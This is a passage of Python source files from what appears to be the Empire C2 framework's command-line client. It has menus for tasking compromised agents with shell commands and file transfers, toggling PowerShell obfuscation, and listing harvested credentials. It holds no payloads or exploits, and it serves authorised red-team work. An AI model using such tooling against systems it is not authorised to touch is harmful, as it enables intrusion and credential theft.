17 def current_menu_name(self) -> str:
18 return self.current_menu.__class__.__name__
19
20 def push(self, menu: Menu, **kwargs):
21 if menu.on_enter(**kwargs):
22 if self.current_menu: # will be None when bootstrapping
23 self.current_menu.on_leave()
24 self.current_menu = menu
25 self.menu_history.append(menu)
26
27 def pop(self):
28 # Potential bug in old and new implementations? Not calling on_enter
29 # and can't call it because we don't have the kwargs.
30 if menu_state.current_menu_name != 'MainMenu':
31 self.current_menu.on_leave()
32 del self.menu_history[-1]
33 self.current_menu = self.menu_history[-1]
34
35
36 menu_state = MenuState(starting_menu=main_menu)
0 from typing import List, Optional
1
2 from src.utils import print_util
3
4
5 # https://yzhong-cs.medium.com/serialize-and-deserialize-complex-json-in-python-205ecc636caa
6 class ShortcutParam(object):
7 def __init__(self, name: str, dynamic: bool = False, value: Optional[str] = ''):
8 self.name = name
9 self.dynamic = dynamic
10 self.value = value
11
12 @classmethod
13 def from_json(cls, data):
14 return cls(**data)
15
16
17 class Shortcut(object):
18 def __init__(self, name: str, module: Optional[str] = None, shell: Optional[str] = None, params: List[ShortcutParam] = None):
19 if not module and not shell:
20 print(print_util.color('Must provide either module name or shell command to a shortcut', color_name='red'))
21 raise TypeError
22
23 self.name = name
24 self.shell = None if not shell else shell
25 self.module = module
26 self.params = [] if not params else params
27
28 def get_dynamic_params(self) -> List[ShortcutParam]:
29 return list(filter(lambda x: x.dynamic, self.params))
30
31 def get_dynamic_param_names(self) -> List[str]:
32 return list(map(lambda x: x.name, self.get_dynamic_params()))
33
34 def get_static_params(self) -> List[ShortcutParam]:
35 return list(filter(lambda x: not x.dynamic, self.params))
36
37 def get_static_param_names(self) -> List[str]:
38 return list(map(lambda x: x.name, self.get_static_params()))
39
40 def get_param(self, name: str) -> Optional[ShortcutParam]:
41 param = None
42 for p in self.params:
43 if p.name == name:
44 param = p
45 break
46
47 return param
48
49 def get_usage_string(self) -> str:
50 usage = f'{self.name} '
51 params = self.get_dynamic_param_names()
52 for param in params:
53 usage += f'<{param}> '
54
55 return usage
56
57 def get_help_description(self) -> str:
58 if self.shell:
59 return print_util.text_wrap(f"Tasks an agent to run the shell command '{self.shell}'")
60
61 module = self.module
62 default_params = list(map(lambda x: f"{x.name}: {x.value}", self.get_static_params()))
63 description = f"Tasks the agent to run module {module}."
64 if len(default_params) > 0:
65 description += ' Default parameters include:\n'
66 description += '\n'.join(default_params)
67
68 return print_util.text_wrap(description)
69
70 @classmethod
71 def from_json(cls, data):
72 if 'params' not in data or data['params'] is None:
73 data['params'] = []
74 else:
75 data['params'] = list(map(ShortcutParam.from_json, data['params']))
76 return cls(**data)
0 import json
1 from typing import List, Dict
2
3 from src.EmpireCliConfig import empire_config
4 from src.Shortcut import Shortcut
5 from src.utils import print_util
6
7
8 class ShortcutHandler:
9 """
10 Handler class to get shortcuts.
11 """
12
13 def __init__(self):
14 shortcuts_raw = empire_config.yaml.get('shortcuts', {})
15 python: Dict[str, Shortcut] = {}
16 powershell: Dict[str, Shortcut] = {}
17 for key, value in shortcuts_raw['python'].items():
18 try:
19 value['name'] = key
20 python[key] = Shortcut.from_json(json.loads(json.dumps(value)))
21 except TypeError as e:
22 print(print_util.color(f'Could not parse shortcut: {key}', color_name='red'))
23 for key, value in shortcuts_raw['powershell'].items():
24 try:
25 value['name'] = key
26 powershell[key] = Shortcut.from_json(json.loads(json.dumps(value)))
27 except TypeError as e:
28 print(print_util.color(f'Could not parse shortcut: {key}', color_name='red'))
29 self.shortcuts: Dict[str, Dict[str, Shortcut]] = {'python': python, 'powershell': powershell}
30
31 def get(self, language: str, name: str) -> Shortcut:
32 return self.shortcuts.get(language, {}).get(name)
33
34 def get_names(self, language: str) -> List[str]:
35 return list(self.shortcuts.get(language, {}).keys())
36
37
38 shortcut_handler = ShortcutHandler()
(New empty file)
0 import time
1
2 from prompt_toolkit.filters import Condition
3 from prompt_toolkit.key_binding import KeyBindings
4 from prompt_toolkit.output import ColorDepth
5 from prompt_toolkit.shortcuts import ProgressBar
6 from prompt_toolkit.shortcuts.progress_bar import formatters
7
8 from src.MenuState import menu_state
9
10 bindings = KeyBindings()
11
12
13 @Condition
14 def ctrl_c_filter():
15 if menu_state.current_menu_name == 'ChatMenu' or menu_state.current_menu_name == 'ShellMenu':
16 return True
17 return False
18
19
20 @bindings.add('c-c', filter=ctrl_c_filter)
21 def do_ctrl_c(event):
22 """
23 If ctrl-c is pressed from the chat or shell menus, go back a menu.
24 """
25 menu_state.pop()
26
27
28 @bindings.add('s-up', 'up', 'down', 'down', 'left', 'right', 'left', 'right', 'b', 'a')
29 def do_konami(event):
30 custom_formatters = [
31 formatters.Label(),
32 formatters.Text(" "),
33 formatters.Rainbow(formatters.Bar()),
34 formatters.Text(" left: "),
35 formatters.Rainbow(formatters.TimeLeft()),
36 ]
37
38 color_depth = ColorDepth.DEPTH_8_BIT
39 with ProgressBar(formatters=custom_formatters, color_depth=color_depth) as pb:
40 for i in pb(range(1000), label=""):
41 time.sleep(0.001)
42 print('Downloaded L33t Hax...')
0 from src.EmpireCliState import state
1 from src.menus.Menu import Menu
2 from src.utils import print_util, date_util
3 from src.utils import table_util
4 from src.utils.autocomplete_util import position_util
5 from src.utils.cli_util import register_cli_commands, command
6
7
8 @register_cli_commands
9 class AdminMenu(Menu):
10 def __init__(self):
11 super().__init__(display_name='admin', selected='')
12
13 def autocomplete(self):
14 return self._cmd_registry + super().autocomplete()
15
16 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
17 if position_util(cmd_line, 1, word_before_cursor):
18 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
19
20 def on_enter(self):
21 self.user_id = state.get_user_me()['id']
22 return True
23
24 @command
25 def obfuscate(self, obfucate_bool: str):
26 """
27 Turn on obfuscate all future powershell commands run on all agents. CANNOT BE USED WITH KEYWORD_OBFUSCATION.
28
29 Usage: obfuscate <obfucate_bool>
30 """
31 # todo: should it be set <key> <value> to be consistent?
32 if obfucate_bool.lower() in ['true', 'false']:
33 options = {'obfuscate': obfucate_bool}
34 response = state.set_admin_options(options)
35 else:
36 print(print_util.color('[!] Error: Invalid entry'))
37
38 # Return results and error message
39 if 'success' in response.keys():
40 print(print_util.color('[*] Set obfuscate to %s' % (obfucate_bool)))
41 elif 'error' in response.keys():
42 print(print_util.color('[!] Error: ' + response['error'] + "obfuscate <True/False>"))
43
44 @command
45 def obfuscate_command(self, obfucation_type: str):
46 """
47 Set obfuscation technique to run for all future powershell commands run on all agents.
48
49 Usage: obfuscate_command <obfucation_type>
50 """
51 options = {'obfuscate_command': obfucation_type}
52 response = state.set_admin_options(options)
53
54 # Return results and error message
55 if 'success' in response.keys():
56 print(print_util.color('[*] Set obfuscate_command to %s' % (obfucation_type)))
57 elif 'error' in response.keys():
58 print(print_util.color('[!] Error: ' + response['error']))
59
60 @command
61 def keyword_obfuscation(self, keyword: str, replacement: str = None):
62 """
63 Add key words to to be obfuscated from commands. Empire will generate a random word if no replacement word is provided. CANNOT BE USED WITH OBFUSCATE.
64
65 Usage: keyword_obfuscation <keyword> [replacement]
66 """
67 options = {'keyword_obfuscation': keyword, 'keyword_replacement': replacement}
68 response = state.set_admin_options(options)
69
70 # Return results and error message
71 if 'success' in response.keys():
72 print(print_util.color('[*] Added keyword_obfuscation'))
73 elif 'error' in response.keys():
74 print(print_util.color('[!] Error: ' + response['error']))
75
76 @command
77 def user_list(self) -> None:
78 """
79 Display all Empire user accounts
80
81 Usage: user_list
82 """
83 users_list = []
84
85 for user in state.get_users()['users']:
86 users_list.append([str(user['ID']), user['username'],
87 str(user['admin']), str(user['enabled']),
88 date_util.humanize_datetime(user['last_logon_time'])])
89
90 users_list.insert(0, ['ID', 'Username', 'Admin', 'Enabled', 'Last Logon Time'])
91
92 table_util.print_table(users_list, 'Users')
93
94 @command
95 def create_user(self, username: str, password: str):
96 """
97 Create user account for Empire
98
99 Usage: create_user <username> <password>
100 """
101 options = {'username': username, 'password': password}
102 response = state.create_user(options)
103
104 # Return results and error message
105 if 'success' in response.keys():
106 print(print_util.color('[*] Added user: %s' % username))
107 elif 'error' in response.keys():
108 print(print_util.color('[!] Error: ' + response['error']))
109
110 @command
111 def disable_user(self, user_id: str):
112 """
113 Disable user account for Empire
114
115 Usage: disable_user <user_id>
116 """
117 options = {'disable': 'True'}
118 username = state.get_user(user_id)['username']
119 response = state.disable_user(user_id, options)
120
121 # Return results and error message
122 if 'success' in response.keys():
123 print(print_util.color('[*] Disabled user: %s' % username))
124 elif 'error' in response.keys():
125 print(print_util.color('[!] Error: ' + response['error']))
126
127 @command
128 def enable_user(self, user_id: str):
129 """
130 Enable user account for Empire
131
132 Usage: enable_user <user_id>
133 """
134 options = {'disable': ''}
135 username = state.get_user(user_id)['username']
136 response = state.disable_user(user_id, options)
137
138 # Return results and error message
139 if 'success' in response.keys():
140 print(print_util.color('[*] Enabled user: %s' % username))
141 elif 'error' in response.keys():
142 print(print_util.color('[!] Error: ' + response['error']))
143
144 @command
145 def notes(self) -> None:
146 """
147 Display your notes
148
149 Usage: notes
150 """
151 self.user_notes = state.get_user_me()['notes']
152
153 if not self.user_notes:
154 print(print_util.color('[*] Notes are empty'))
155 else:
156 print(self.user_notes)
157
158 @command
159 def add_notes(self, add_user_notes: str):
160 """
161 Add user notes (use quotes)
162
163 Usage: notes <add_user_notes>
164 """
165 self.user_notes = state.get_user_me()['notes']
166
167 options = {'notes': self.user_notes + '\n' + add_user_notes}
168 response = state.update_user_notes(self.user_id, options)
169
170 if 'success' in response.keys():
171 print(print_util.color('[*] Updated notes'))
172 elif 'error' in response.keys():
173 print(print_util.color('[!] Error: ' + response['error']))
174
175 @command
176 def clear_notes(self):
177 """
178 Clear user notes
179
180 Usage: clear_notes
181 """
182 options = {'notes': ''}
183 response = state.update_user_notes(self.user_id, options)
184
185 if 'success' in response.keys():
186 print(print_util.color('[*] Cleared notes'))
187 elif 'error' in response.keys():
188 print(print_util.color('[!] Error: ' + response['error']))
189
190
191 admin_menu = AdminMenu()
0 import string
1
2 from prompt_toolkit.completion import Completion
3
4 from src.EmpireCliState import state
5 from src.menus.Menu import Menu
6 from src.utils import table_util, print_util, date_util
7 from src.utils.autocomplete_util import filtered_search_list, position_util
8 from src.utils.cli_util import register_cli_commands, command
9
10
11 @register_cli_commands
12 class AgentMenu(Menu):
13 def __init__(self):
14 super().__init__(display_name='agents', selected='')
15
16 def autocomplete(self):
17 return self._cmd_registry + super().autocomplete()
18
19 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
20 if cmd_line[0] in ['kill', 'clear', 'rename'] and position_util(cmd_line, 2, word_before_cursor):
21 for agent in filtered_search_list(word_before_cursor, state.agents.keys()):
22 yield Completion(agent, start_position=-len(word_before_cursor))
23 elif position_util(cmd_line, 1, word_before_cursor):
24 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
25
26 def on_enter(self):
27 self.list()
28 return True
29
30 @command
31 def list(self) -> None:
32 """
33 Get running/available agents
34
35 Usage: list
36 """
37 agent_list = []
38 agent_formatting = []
39 for agent in state.get_agents().values():
40 agent_list.append([str(agent['ID']), agent['name'],
41 agent['language'], agent['internal_ip'], print_util.text_wrap(agent['username']),
42 print_util.text_wrap(agent['process_name'],width=20), agent['process_id'],
43 str(agent['delay']) + '/' + str(agent['jitter']),
44 date_util.humanize_datetime(agent['lastseen_time']), agent['listener']])
45 agent_formatting.append([agent['stale'], agent['high_integrity']])
46
47 agent_formatting.insert(0, ['Stale', 'High Integrity'])
48 agent_list.insert(0, ['ID', 'Name', 'Language', 'Internal IP', 'Username', 'Process',
49 'PID', 'Delay', 'Last Seen', 'Listener'])
50 table_util.print_agent_table(agent_list, agent_formatting, 'Agents')
51
52 @command
53 def kill(self, agent_name: string) -> None:
54 """
55 Kill the selected listener
56
57 Usage: kill <agent_name>
58 """
59 state.kill_agent(agent_name)
60
61 @command
62 def clear(self, agent_name: string) -> None:
63 """
64 Clear tasks for selected listener
65
66 Usage: clear <agent_name>
67 """
68 state.clear_agent(agent_name)
69
70 @command
71 def remove(self, agent_name: string) -> None:
72 """
73 Removes an agent from the controller specified by agent_name. Doesn't kill the agent first.
74
75 Usage: remove <agent_name>
76 """
77 response = state.remove_agent(agent_name)
78 if 'success' in response.keys():
79 print(print_util.color('[*] Removed agent ' + agent_name))
80 elif 'error' in response.keys():
81 print(print_util.color('[!] Error: ' + response['error']))
82
83 @command
84 def rename(self, agent_name: string, new_agent_name: string) -> None:
85 """
86 Rename selected listener
87
88 Usage: rename <agent_name> <new_agent_name>
89 """
90 state.rename_agent(agent_name, new_agent_name)
91
92
93 def trunc(value: string = '', limit: int = 1) -> string:
94 if value:
95 if len(value) > limit:
96 return value[:limit - 2] + '..'
97 else:
98 return value
99 return ''
100
101
102 agent_menu = AgentMenu()
0 from src.EmpireCliState import state
1 from src.MenuState import menu_state
2 from src.menus.Menu import Menu
3 from src.utils import print_util
4 from src.utils.autocomplete_util import position_util
5 from src.utils.cli_util import register_cli_commands
6
7
8 @register_cli_commands
9 class ChatMenu(Menu):
10 def __init__(self):
11 super().__init__(display_name='chat', selected='')
12 self.my_username = ''
13 self.chat_cache = []
14
15 def autocomplete(self):
16 return self._cmd_registry + super().autocomplete()
17
18 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
19 if position_util(cmd_line, 1, word_before_cursor):
20 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
21
22 def get_prompt(self) -> str:
23 return f"<b><ansigreen>{state.me['username']}</ansigreen></b>: "
24
25 def on_connect(self):
26 state.sio.on('chat/join', self.on_chat_join)
27 state.sio.on('chat/leave', self.on_chat_leave)
28 state.sio.on('chat/message', self.on_chat_message)
29 state.sio.emit('chat/history')
30 state.sio.emit('chat/join')
31
32 def on_disconnect(self):
33 state.sio.emit('chat/leave')
34
35 def on_enter(self):
36 print('Exit Chat Menu with ctrl-c')
37 self.my_username = state.me['username']
38
39 for message in self.chat_cache:
40 print(message)
41
42 self.chat_cache = []
43
44 return True
45
46 @staticmethod
47 def is_chat_active():
48 return menu_state.current_menu_name == 'ChatMenu'
49
50 def on_chat_join(self, data):
51 message = print_util.color('[+] ' + data['message'])
52 if self.is_chat_active() == 'ChatMenu':
53 print(message)
54 else:
55 self.chat_cache.append(message)
56
57 def on_chat_leave(self, data):
58 message = print_util.color('[+] ' + data['message'])
59 if self.is_chat_active():
60 print(message)
61 else:
62 self.chat_cache.append(message)
63
64 def on_chat_message(self, data):
65 if data['username'] != state.me['username'] or data.get('history') is True:
66 if data['username'] == state.me['username']:
67 message = print_util.color(data['username'], 'green') + ': ' + data['message']
68 if self.is_chat_active():
69 print(message)
70 else:
71 self.chat_cache.append(print_util.color(message))
72 else:
73 message = print_util.color(data['username'], 'red') + ': ' + data['message']
74 if self.is_chat_active():
75 print(message)
76 else:
77 self.chat_cache.append(message)
78
79 def send_chat(self, text):
80 state.sio.emit('chat/message', {'message': text})
81
82
83 chat_menu = ChatMenu()
0 from src.EmpireCliState import state
1 from src.menus.Menu import Menu
2 from src.utils import table_util
3 from src.utils.autocomplete_util import position_util
4 from src.utils.cli_util import register_cli_commands, command
5
6
7 @register_cli_commands
8 class CredentialMenu(Menu):
9 def __init__(self):
10 super().__init__(display_name='credentials', selected='')
11
12 def autocomplete(self):
13 return self._cmd_registry + super().autocomplete()
14
15 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
16 if position_util(cmd_line, 1, word_before_cursor):
17 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
18
19 def on_enter(self):
20 self.list()
21 return True
22
23 @command
24 def list(self) -> None:
25 """
26 Get running/available agents
27
28 Usage: list
29 """
30 cred_list = list(map(
31 lambda x: [x['ID'], x['credtype'], x['domain'], x['username'], x['host'], x['password']],
32 state.get_credentials()))
33 cred_list.insert(0, ['ID', 'CredType', 'Domain', 'UserName', 'Host', 'Password/Hash'])
34
35 table_util.print_table(cred_list, 'Credentials')
36
37
38 credential_menu = CredentialMenu()
0 import base64
1 import os
2 import textwrap
3 import threading
4 import time
5 from typing import List
6
7 from prompt_toolkit.completion import Completion
8
9 from src.EmpireCliState import state
10 from src.Shortcut import Shortcut
11 from src.ShortcutHandler import shortcut_handler
12 from src.menus.Menu import Menu
13 from src.utils import table_util, print_util
14 from src.utils.autocomplete_util import filtered_search_list, position_util
15 from src.utils.cli_util import register_cli_commands, command
16
17
18 @register_cli_commands
19 class InteractMenu(Menu):
20 def __init__(self):
21 super().__init__(display_name='', selected='')
22 self.agent_options = {}
23 self.agent_language = ''
24 self.session_id = ''
25
26 def autocomplete(self):
27 return self._cmd_registry + \
28 super().autocomplete() + \
29 shortcut_handler.get_names(self.agent_language)
30
31 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
32 if cmd_line[0] in ['interact'] and position_util(cmd_line, 2, word_before_cursor):
33 active_agents = list(map(lambda a: a['name'], filter(lambda a: a['stale'] is not True, state.agents.values())))
34 for agent in filtered_search_list(word_before_cursor, active_agents):
35 yield Completion(agent, start_position=-len(word_before_cursor))
36 elif position_util(cmd_line, 1, word_before_cursor):
37 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
38 elif cmd_line[0] in shortcut_handler.get_names(self.agent_language):
39 position = len(cmd_line)
40 shortcut = shortcut_handler.get(self.agent_language, cmd_line[0])
41 params = shortcut.get_dynamic_param_names()
42 if position - 1 < len(params):
43 if params[position - 1].lower() == 'listener':
44 for listener in filtered_search_list(word_before_cursor, state.listeners.keys()):
45 yield Completion(listener, start_position=-len(word_before_cursor))
46 if params[position - 1].lower() == 'agent':
47 for agent in filtered_search_list(word_before_cursor, state.agents.keys()):
48 yield Completion(agent, start_position=-len(word_before_cursor))
49
50 def on_enter(self, **kwargs) -> bool:
51 if 'selected' not in kwargs:
52 return False
53 else:
54 self.use(kwargs['selected'])
55 return True
56
57 def get_prompt(self) -> str:
58 joined = '/'.join([self.display_name, self.selected]).strip('/')
59 return f"(Empire: <ansired>{joined}</ansired>) > "
60
61 # todo is this the same exact code in the other menus?
62 def tasking_id_returns(self, agent_name, task_id: int):
63 """
64 Polls and prints tasking data for taskID
65
66 Usage: tasking_id_returns <agent_name> <task_id>
67 """
68 # todo: there must be a better way to do this with notifications
69 # todo: add a timeout value
70 # Set previous results to current results to avoid a lot of old data
71 status_result = False
72
73 while not status_result:
74 try:
75 results = state.get_agent_result(agent_name)['results'][0]['AgentResults'][task_id - 1]
76 if results['results'] is not None:
77 if 'Job started:' not in results['results']:
78 print(print_util.color('[*] Task ' + str(results['taskID']) + " results received"))
79 print(print_util.color(results['results']))
80 status_result = True
81 except:
82 pass
83 time.sleep(1)
84
85 def use(self, agent_name: str) -> None:
86 """
87 Use the selected agent
88
89 Usage: use <agent_name>
90 """
91 state.get_agents()
92 if agent_name in state.agents.keys():
93 self.selected = agent_name
94 self.session_id = state.agents[self.selected]['session_id']
95 self.agent_options = state.agents[agent_name] # todo rename agent_options
96 self.agent_language = self.agent_options['language']
97
98 @command
99 def shell(self, shell_cmd: str) -> None:
100 """
101 Tasks an the specified agent to execute a shell command.
102
103 Usage: shell <shell_cmd>
104 """
105 response = state.agent_shell(self.session_id, shell_cmd)
106 print(print_util.color('[*] Tasked ' + self.session_id + ' to run Task ' + str(response['taskID'])))
107
108 # todo can we use asyncio?
109 agent_return = threading.Thread(target=self.tasking_id_returns, args=[self.session_id, response['taskID']])
110 agent_return.daemon = True
111 agent_return.start()
112
113 @command
114 def upload(self, local_file_directory: str, destination_file_name: str) -> None:
115 """
116 Tasks an the specified agent to upload a file.
117
118 Usage: upload <local_file_directory> [destination_file_name]
119 """
120 file_name = os.path.basename(local_file_directory)
121 open_file = open(local_file_directory, 'rb')
122 file_data = base64.b64encode(open_file.read())
123
124 if destination_file_name:
125 file_name = destination_file_name
126
127 response = state.agent_upload_file(self.session_id, file_name, file_data.decode('UTF-8'))
128 print(print_util.color('[*] Tasked ' + self.selected + ' to run Task ' + str(response['taskID'])))
129 agent_return = threading.Thread(target=self.tasking_id_returns, args=[self.session_id, response['taskID']])
130 agent_return.daemon = True
131 agent_return.start()
132
133 @command
134 def download(self, file_name: str) -> None:
135 """
136 Tasks an the specified agent to download a file.
137
138 Usage: download <file_name>
139 """
140 response = state.agent_download_file(self.session_id, file_name)
141 print(print_util.color('[*] Tasked ' + self.selected + ' to run Task ' + str(response['taskID'])))
142 agent_return = threading.Thread(target=self.tasking_id_returns, args=[self.session_id, response['taskID']])
143 agent_return.daemon = True
144 agent_return.start()
145
146 @command
147 def info(self) -> None:
148 """
149 Display agent info.
150
151 Usage: info
152 """
153 agent_list = []
154 for key, value in self.agent_options.items():
155 if isinstance(value, int):
156 value = str(value)
157 if value is None:
158 value = ''
159 if key not in ['taskings', 'results']:
160 temp = [key, '\n'.join(textwrap.wrap(str(value), width=45))]
161 agent_list.append(temp)
162
163 table_util.print_table(agent_list, 'Agent Options')
164
165 @command
166 def help(self):
167 """
168 Display the help menu for the current menu
169
170 Usage: help
171 """
172 help_list = []
173 for name in self._cmd_registry:
174 try:
175 description = print_util.text_wrap(getattr(self, name).__doc__.split('\n')[1].lstrip(), width=35)
176 usage = print_util.text_wrap(getattr(self, name).__doc__.split('\n')[3].lstrip()[7:], width=35)
177 help_list.append([name, description, usage])
178 except:
179 continue
180
181 for name, shortcut in shortcut_handler.shortcuts[self.agent_language].items():
182 try:
183 description = shortcut.get_help_description()
184 usage = shortcut.get_usage_string()
185 help_list.append([name, description, usage])
186 except:
187 continue
188 help_list.insert(0, ['Name', 'Description', 'Usage'])
189 table_util.print_table(help_list, 'Help Options')
190
191 def execute_shortcut(self, command_name: str, params: List[str]):
192 shortcut: Shortcut = shortcut_handler.get(self.agent_language, command_name)
193
194 if not shortcut:
195 return None
196
197 if shortcut.shell:
198 self.shell(shortcut.shell)
199 return
200
201 if not len(params) == len(shortcut.get_dynamic_param_names()):
202 return None # todo log message
203
204 if shortcut.module not in state.modules:
205 print(print_util.color(f'No module named {shortcut.name} found on the server.'))
206 return None
207
208 module_options = dict.copy(state.modules[shortcut.module]['options'])
209 post_body = {}
210
211 for i, shortcut_param in enumerate(shortcut.get_dynamic_params()):
212 if shortcut_param.name in module_options:
213 post_body[shortcut_param.name] = params[i]
214
215 # TODO Still haven't figured out other data types. Right now everything is a string.
216 # Which I think is how it is in the old cli
217 for key, value in module_options.items():
218 if key in shortcut.get_dynamic_param_names():
219 continue
220 elif key in shortcut.get_static_param_names():
221 post_body[key] = str(shortcut.get_param(key).value)
222 else:
223 post_body[key] = str(module_options[key]['Value'])
224 post_body['Agent'] = self.session_id
225 response = state.execute_module(shortcut.module, post_body)
226 if 'success' in response.keys():
227 print(print_util.color(
228 '[*] Tasked ' + self.selected + ' to run Task ' + str(response['taskID'])))
229 agent_return = threading.Thread(target=self.tasking_id_returns,
230 args=[self.session_id, response['taskID']])
231 agent_return.daemon = True
232 agent_return.start()
233 elif 'error' in response.keys():
234 print(print_util.color('[!] Error: ' + response['error']))
235
236 def update_comms(self, listener_name: str) -> None:
237 """
238 Update the listener for an agent.
239
240 Usage: update_comms <listener_name>
241 """
242 response = state.update_agent_comms(self.session_id, listener_name)
243
244 if 'success' in response.keys():
245 print(print_util.color('[*] Updated agent ' + self.selected + ' listener ' + listener_name))
246 elif 'error' in response.keys():
247 print(print_util.color('[!] Error: ' + response['error']))
248
249 @command
250 def killdate(self, kill_date: str) -> None:
251 """
252 Set an agent's killdate (01/01/2020)
253
254 Usage: killdate <kill_date>
255 """
256 response = state.update_agent_killdate(self.session_id, kill_date)
257
258 if 'success' in response.keys():
259 print(print_util.color('[*] Updated agent ' + self.selected + ' killdate to ' + kill_date))
260 elif 'error' in response.keys():
261 print(print_util.color('[!] Error: ' + response['error']))
262
263 @command
264 def workinghours(self, working_hours: str) -> None:
265 """
266 Set an agent's working hours (9:00-17:00)
267
268 Usage: workinghours <working_hours>
269 """
270 response = state.update_agent_working_hours(self.session_id, working_hours)
271
272 if 'success' in response.keys():
273 print(print_util.color('[*] Updated agent ' + self.selected + ' workinghours to ' + working_hours))
274 elif 'error' in response.keys():
275 print(print_util.color('[!] Error: ' + response['error']))
276
277
278 interact_menu = InteractMenu()
0 import string
1 import textwrap
2
3 from prompt_toolkit.completion import Completion
4
5 from src.EmpireCliState import state
6 from src.menus.Menu import Menu
7 from src.utils import table_util, date_util
8 from src.utils.autocomplete_util import filtered_search_list, position_util
9 from src.utils.cli_util import register_cli_commands, command
10
11
12 @register_cli_commands
13 class ListenerMenu(Menu):
14 def __init__(self):
15 super().__init__(display_name='listeners', selected='')
16
17 def autocomplete(self):
18 return self._cmd_registry + super().autocomplete()
19
20 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
21 if cmd_line[0] in ['kill', 'options'] and position_util(cmd_line, 2, word_before_cursor):
22 for listener in filtered_search_list(word_before_cursor, state.listeners.keys()):
23 yield Completion(listener, start_position=-len(word_before_cursor))
24 elif position_util(cmd_line, 1, word_before_cursor):
25 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
26
27 def on_enter(self):
28 self.list()
29 return True
30
31 @command
32 def list(self) -> None:
33 """
34 Get running/available listeners
35
36 Usage: list
37 """
38 listener_list = list(map(lambda x: [x['ID'], x['name'], x['module'], x['listener_category'], date_util.humanize_datetime(x['created_at'])],
39 state.listeners.values()))
40 listener_list.insert(0, ['ID', 'Name', 'Module', 'Listener Category', 'Created At'])
41
42 table_util.print_table(listener_list, 'Listeners List')
43
44 @command
45 def options(self, listener_name: string) -> None:
46 """
47 Get option details for the selected listener
48
49 Usage: options <listener_name>
50 """
51 if listener_name not in state.listeners:
52 return None
53
54 listener_list = []
55
56 for key, value in state.listeners[listener_name]['options'].items():
57 values = list(map(lambda x: '\n'.join(textwrap.wrap(str(x), width=35)), value.values()))
58 values.reverse()
59 temp = [key] + values
60 listener_list.append(temp)
61
62 table_util.print_table(listener_list, listener_name)
63
64 @command
65 def kill(self, listener_name: string) -> None:
66 """
67 Kill the selected listener
68
69 Usage: kill <listener_name>
70 """
71 state.kill_listener(listener_name)
72
73
74 listener_menu = ListenerMenu()
0 from prompt_toolkit.completion import Completion
1
2 from src.EmpireCliConfig import empire_config
3 from src.EmpireCliState import state
4 from src.menus.Menu import Menu
5 from src.utils import print_util
6 from src.utils.autocomplete_util import filtered_search_list, position_util
7 from src.utils.cli_util import register_cli_commands, command
8
9
10 def patch_protocol(host):
11 return host if host.startswith('http://') or host.startswith('https://') else f'https://{host}'
12
13
14 @register_cli_commands
15 class MainMenu(Menu):
16 def __init__(self):
17 super().__init__(display_name='(Empire)')
18
19 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
20 if not state.connected:
21 if cmd_line[0] == 'connect' and position_util(cmd_line, 2, word_before_cursor):
22 yield Completion('-c', start_position=-len(word_before_cursor))
23 elif cmd_line[0] == 'connect' and len(cmd_line) > 1 and cmd_line[1] in ['-c', '--config'] \
24 and position_util(cmd_line, 3, word_before_cursor):
25 for server in filtered_search_list(word_before_cursor, empire_config.yaml.get('servers', [])):
26 yield Completion(server, start_position=-len(word_before_cursor))
27 elif position_util(cmd_line, 1, word_before_cursor):
28 if 'connect'.startswith(word_before_cursor):
29 yield Completion('connect', start_position=-len(word_before_cursor))
30 elif position_util(cmd_line, 1, word_before_cursor):
31 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
32
33 def autocomplete(self):
34 commands = self._cmd_registry + super().autocomplete()
35 if state.connected:
36 commands.remove('connect')
37
38 return commands
39
40 def get_prompt(self) -> str:
41 return f"{self.display_name} > "
42
43 @command
44 def connect(self, host: str, config: bool = False, port: int = 1337, socketport: int = 5000, username: str = None,
45 password: str = None) -> None:
46 """
47 Connect to empire instance
48
49 Usage: connect [--config | -c] <host> [--port=<p>] [--socketport=<sp>] [--username=<u>] [--password=<pw>]
50
51 Options:
52 host The url for the empire server or the name of a server config from config.yaml
53 --config -c When true, host is a server name from config.yaml [default: False]
54 --port=<p> Port number for empire server. [default: 1337]
55 --socketport=<sp> Port number for empire socketio server. [default: 5000]
56 --username=<u> Username for empire. if not provided, will attempt to pull from yaml
57 --password=<pw> Password for empire. if not provided, will attempt to pull from yaml
58 """
59 if state.connected:
60 return
61 if config is True:
62 # Check for name in yaml
63 server: dict = empire_config.yaml.get('servers').get(host)
64 if not server:
65 print(f'Could not find server in config.yaml for {host}')
66 server['host'] = patch_protocol(server['host'])
67 response = state.connect(server['host'], server['port'], server['socketport'], server['username'],
68 server['password'])
69 else:
70 host = patch_protocol(host)
71 response = state.connect(host, port, socketport, username, password)
72
73 if hasattr(response, 'status_code'):
74 if response.status_code == 200:
75 print(print_util.color('[*] Connected to ' + host))
76 else:
77 print(print_util.color("[!] Error: " + response.args[0].reason.args[0]))
78
79 @command
80 def disconnect(self):
81 """
82 Disconnect from an empire instance
83
84 Usage: disconnect
85 """
86 if not state.connected:
87 return
88
89 host = state.host
90 state.disconnect()
91 print(print_util.color('[*] Disconnected from ' + host))
92
93
94 main_menu = MainMenu()
0 from prompt_toolkit.completion import Completion
1
2 from src.utils import table_util, print_util
3 from src.utils.autocomplete_util import filtered_search_list
4 from src.utils.cli_util import command
5
6
7 class Menu(object):
8 """
9 Base Menu object.
10 """
11 def __init__(self, display_name: str = '', selected: str = ''):
12 """
13 :param display_name: The display name for the menu. This is used by the default get_prompt method.
14 :param selected: The selected item. Applicable for Menus such UseStager or UseListener.
15 """
16 self.display_name = display_name
17 self.selected = selected
18 # Gets overwritten by the register_cli_commands decorator.
19 # Nice to have here just to stop the warnings
20 self._cmd_registry = [] if not self._cmd_registry else self._cmd_registry
21
22 def autocomplete(self):
23 """
24 The default list of autocomplete commands aka 'the globals'
25 A menu should return its own list in addition to these globals.
26 :return: list[str]
27 """
28 return [
29 'main',
